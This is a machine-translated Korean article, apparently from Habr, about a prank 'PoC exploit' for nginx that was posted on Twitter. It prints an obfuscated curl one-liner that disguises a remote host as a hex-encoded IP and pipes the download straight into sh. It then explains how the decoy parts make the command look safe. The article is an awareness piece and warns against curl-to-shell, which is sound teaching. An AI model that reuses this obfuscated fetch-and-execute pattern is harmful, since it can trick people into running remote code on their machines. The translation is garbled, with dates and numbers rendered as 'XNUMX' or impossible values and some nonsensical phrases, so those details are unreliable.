nginx에 대한 가짜 익스플로잇을 사용한 사회적 실험의 성공

메모. 번역: 저자 1월 XNUMX일에 발표된 원본 노트는 정보 보안에 관심이 있는 사람들을 대상으로 실험을 수행하기로 결정했습니다. 이를 위해 그는 웹 서버의 알려지지 않은 취약점에 대한 가짜 익스플로잇을 준비하고 이를 자신의 트위터에 게시했습니다. 그의 가정 - 코드의 명백한 속임수를 볼 전문가에 의해 즉시 노출된다는 것 -은 실현되지 않았을 뿐만 아니라... 그들은 모든 기대를 뛰어넘었고 반대 방향으로: 트윗은 그렇지 않은 수많은 사람들로부터 큰 지지를 받았습니다. 내용을 확인하세요.

핵심요약: 어떤 상황에서도 sh나 bash에서 파일 파이프라인을 사용하지 마세요. 이는 컴퓨터에 대한 통제력을 잃을 수 있는 좋은 방법입니다.

저는 31월 XNUMX일에 생성된 코믹한 PoC 익스플로잇에 대한 짧은 이야기를 여러분과 공유하고 싶습니다. 그는 소식을 듣고 곧바로 등장했다. 알리사 에세이 셰브첸코, 회원 제로 데이 이니셔티브 (ZDI)에서는 RCE(원격 코드 실행)로 이어지는 NGINX의 취약점에 대한 정보가 곧 공개될 예정입니다. NGINX가 많은 웹사이트를 지원하고 있기 때문에 그 소식은 분명 충격적인 내용이었을 것입니다. 그러나 "책임 있는 공개" 프로세스가 지연되어 자세한 내용은 알려지지 않았습니다. 이는 표준 ZDI 절차입니다.

트위터 NGINX의 취약점 공개에 대해

컬의 새로운 난독화 기술 작업을 마친 후, 나는 원본 트윗을 인용하고 발견된 취약점을 악용하는 것으로 추정되는 한 줄의 코드로 구성된 "작동하는 PoC를 유출했습니다". 물론 이것은 완전히 말도 안되는 일이었습니다. 나는 내가 즉시 노출될 것이라고 생각했고, 기껏해야 몇 번의 리트윗을 받을 것이라고 생각했습니다.

트위터 가짜 악용으로

그러나 다음에 무슨 일이 일어났는지 상상할 수 없었습니다. 내 트윗의 인기가 급상승했습니다. 놀랍게도 현재(모스크바 시간 15월 00일 1시) 이것이 가짜라는 것을 깨닫는 사람은 거의 없습니다. 많은 사람들이 전혀 확인하지 않고 이를 리트윗합니다(출력되는 아름다운 ASCII 그래픽에 감탄하는 것은 말할 것도 없습니다).

얼마나 아름다운지 보세요!

이러한 루프와 색상은 모두 훌륭하지만 사람들이 이를 보려면 컴퓨터에서 코드를 실행해야 한다는 것은 분명합니다. 다행스럽게도 브라우저는 같은 방식으로 작동하며 법적인 문제가 발생하고 싶지 않다는 사실과 결합하여 내 사이트에 묻혀 있는 코드는 추가 코드를 설치하거나 실행하려고 시도하지 않고 에코 호출만 하고 있었습니다.

작은 탈선 : 넷츠푸키한, DNZ, 나와 다른 팀원들 깡패군중 우리는 한동안 컬 명령을 난독화하는 다양한 방법을 시도해 왔습니다. 그것이 멋지기 때문입니다... 그리고 우리는 괴짜입니다. netspooky와 dnz는 나에게 매우 유망해 보이는 몇 가지 새로운 방법을 발견했습니다. 나는 재미에 동참하여 트릭 백에 IP 십진수 변환을 추가해 보았습니다. IP를 XNUMX진수 형식으로 변환할 수도 있다는 것이 밝혀졌습니다. 게다가, 컬과 대부분의 다른 NIX 도구는 XNUMX진수 IP를 기꺼이 먹습니다! 따라서 설득력 있고 안전해 보이는 명령줄을 만드는 것이 문제였습니다. 결국 나는 이것으로 결정했습니다.

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

사회전자공학(SEE) - 단순한 피싱 그 이상

안전과 친숙성은 이 실험의 주요 부분이었습니다. 나는 그것이 그의 성공을 이끈 것이라고 생각한다. 명령줄에서는 "127.0.0.1"(잘 알려진 로컬 호스트)을 참조하여 보안을 명확하게 암시했습니다. Localhost는 안전한 것으로 간주되며 그 안의 데이터는 컴퓨터를 떠나지 않습니다.

익숙함은 실험의 두 번째 핵심 SEE 구성 요소였습니다. 대상 청중은 주로 컴퓨터 보안의 기본 사항에 익숙한 사람들로 구성되었으므로 코드의 일부가 친숙하고 친숙해 보이도록(따라서 안전해 보이도록) 코드를 작성하는 것이 중요했습니다. 오래된 익스플로잇 개념의 요소를 차용하고 이를 특이한 방식으로 결합하는 것은 매우 성공적인 것으로 입증되었습니다.

아래는 원라이너에 대한 자세한 분석입니다. 이 목록에 있는 모든 것이 착용됩니다. 미용적 성격, 실제 작동에는 사실상 아무것도 필요하지 않습니다.

실제로 필요한 구성 요소는 무엇입니까? 이것 -gsS, -O 0x0238f06a, |sh 그리고 웹 서버 자체. 웹 서버에는 악의적인 명령이 포함되어 있지 않고 단순히 명령을 사용하여 ASCII 그래픽을 제공했습니다. echo 포함된 스크립트에서 index.html. 사용자가 다음 줄을 입력했을 때 |sh 중간에, index.html 로드 및 실행되었습니다. 다행스럽게도 웹서버 관리인들은 악의가 없었습니다.

• ../../../%00 — 디렉토리를 넘어서는 것을 나타냅니다.
• ngx_stream_module.so — 임의의 NGINX 모듈에 대한 경로;
• /bin/sh%00<'protocol:TCP' — 우리는 아마도 출시 예정 /bin/sh 대상 머신에서 출력을 TCP 채널로 리디렉션합니다.
• -O 0x0238f06a#PLToffset - 비밀 성분, 보충 #PLToffset, 어떻게든 PLT에 포함된 메모리 오프셋처럼 보입니다.
• |sh; - 또 다른 중요한 조각. 다음 위치에 있는 공격 웹 서버에서 오는 코드를 실행하려면 출력을 sh/bash로 리디렉션해야 했습니다. 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - netcat이 참조하는 더미 /dev/tcp/localhost모든 것이 다시 안전해 보이도록 말이죠. 사실 그것은 아무 것도 하지 않으며 아름다움의 범주에 포함됩니다.

이것으로 한 줄 스크립트의 해독과 "사회 전자 공학"(복잡한 피싱) 측면에 대한 논의를 마칩니다.

웹 서버 구성 및 대책

내 구독자의 대다수가 정보 보안/해커이기 때문에 나는 웹 서버를 그들의 "관심" 표현에 좀 더 저항력 있게 만들기로 결정했습니다. 설정). 실험이 아직 진행 중이기 때문에 여기에 모든 함정을 나열하지는 않겠지만, 서버가 수행하는 몇 가지 작업은 다음과 같습니다.

• 특정 소셜 네트워크에서의 배포 시도를 적극적으로 모니터링하고 다양한 미리보기 썸네일을 대체하여 사용자가 링크를 클릭하도록 유도합니다.
• 쉘 스크립트를 표시하는 대신 Chrome/Mozilla/Safari/etc를 Thugcrowd 홍보 비디오로 리디렉션합니다.
• 침입/노골적인 해킹의 명백한 징후를 감시한 다음 요청을 NSA 서버로 리디렉션하기 시작합니다(하!).
• 사용자가 일반 브라우저에서 호스트를 방문하는 모든 컴퓨터에 트로이 목마와 BIOS 루트킷을 설치합니다(농담입니다!).

항체의 작은 부분

이 경우 나의 유일한 목표는 Apache의 일부 기능, 특히 요청 리디렉션을 위한 멋진 규칙을 익히는 것이었고 나는 생각했습니다. 왜 안 될까?

NGINX 익스플로잇(진짜!)

구독하기 @alisaesage Twitter에서 NGINX의 실제 취약점과 악용 기회를 해결하는 ZDI의 훌륭한 작업을 팔로우하세요. 그들의 작업은 항상 저를 매료시켰고 저의 어리석은 트윗으로 인한 모든 언급과 알림에 대해 인내심을 갖고 기다려 주신 Alice에게 감사드립니다. 다행스럽게도 이는 좋은 효과도 있었습니다. NGINX 취약점과 컬 남용으로 인한 문제에 대한 인식을 높이는 데 도움이 되었습니다.

출처 : habr.com